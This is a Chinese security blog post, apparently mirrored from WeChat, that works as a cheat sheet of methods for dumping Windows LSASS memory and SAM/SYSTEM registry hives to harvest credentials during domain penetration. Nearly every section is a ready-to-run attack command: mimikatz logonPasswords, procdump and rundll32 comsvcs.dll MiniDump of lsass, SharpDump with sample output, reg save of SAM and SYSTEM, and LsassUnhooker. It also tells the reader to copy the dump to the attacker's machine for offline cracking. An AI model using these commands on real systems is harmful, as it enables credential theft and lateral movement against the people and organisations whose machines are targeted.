Skip to content

Latest commit

 

History

History
147 lines (72 loc) · 3.15 KB

[安全逐梦人]-2023-11-8-常见导出lsass各种方法.md

File metadata and controls

147 lines (72 loc) · 3.15 KB
Raw

常见导出lsass各种方法

原创 莫大 安全逐梦人

安全逐梦人

微信号 gh_bdb40c30b1d4

功能介绍 渗透知识分享，漏洞复现，安全工具分享

__发表于

收录于合集 #域渗透学习 7个

mimikatz

直接从lsass.exe进程的内存中导出凭据，命令如下：

mimikatz.exe log "privilege::debug" "sekurlsa::logonPasswords full" exit

工具地址：https://github.com/gentilkiwi/mimikatz

procdump

项目地址 :https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

Procdump.exe -accepteula -ma lsass.exe lsass.dmp

Out-Minidump.ps1

项目地址：https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out- Minidump.ps1

Import-Module .\Out-Minidump.ps1  
Get-Process lsass | Out-Minidump

接下来把lsass转储到自己的主机再用mimikatz抓取密码即可

看lsass.dmp文件生成的路径位置，然后把这个文件下载到攻击机上的mimikatz.exe所在的路径，在这个路径进入cmd命令行，然后执行：

mimikatz.exe "sekurlsa::minidump lsass.dmp"  
# 接着执行  
sekurlsa::logonpasswords

SharpDump

项目地址：https://github.com/GhostPack/SharpDump

Dump LSASS:

C:\Temp>SharpDump.exe  
  
[*] Dumping lsass (808) to C:\WINDOWS\Temp\debug808.out  
[+] Dump successful!  
  
[*] Compressing C:\WINDOWS\Temp\debug808.out to C:\WINDOWS\Temp\debug808.bin gzip file  
[*] Deleting C:\WINDOWS\Temp\debug808.out  
  
[+] Dumping completed. Rename file to "debug808.gz" to decompress.  
  
[*] Operating System : Windows 10 Enterprise N  
[*] Architecture     : AMD64  
[*] Use "sekurlsa::minidump debug.out" "sekurlsa::logonPasswords full" on the same OS/arch

使用comsvcs.dll

使用 rundll32找到机器的comsvcs.dll,之后以powershell(管理员)运行以下命令

Get-Process lsass  
  
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <pid> C:\lsass.dmp full  
rundll32 C:\windows\system32\comsvcs.dll, MiniDump 808 C:\test\lsass.dmp full

注册表导出sam文件

system文件位置:C:\Windows\System32\config\SYSTEM SAM文件位置:C:\Windows\System32\config\SAM

reg save HKLM\SYSTEM C:\system.hiv   
  
reg save HKLM\sam C:\sam.hiv

之后使用mimikatz对导出的sam文件进行解密

lsadump::sam /sam:C:\sam.hiv /system:C:\system.hiv

LsassUnhooker

https://github.com/roberreigada/LsassUnhooker管理员权限运行编译后的LsassUnhooker ，就会在当前目录将lsass保存为 lsass.dmp

运行 mimikatz.exe   
sekurlsa::minidump lsass.dmp  
sekurlsa::logonpasswords

预览时标签不可点

微信扫一扫
关注该公众号

轻触阅读原文

继续滑动看下一个

知道了

微信扫一扫
使用小程序

取消 允许

取消 允许

： ， 。 视频 小程序 赞 ，轻点两下取消赞 在看 ，轻点两下取消在看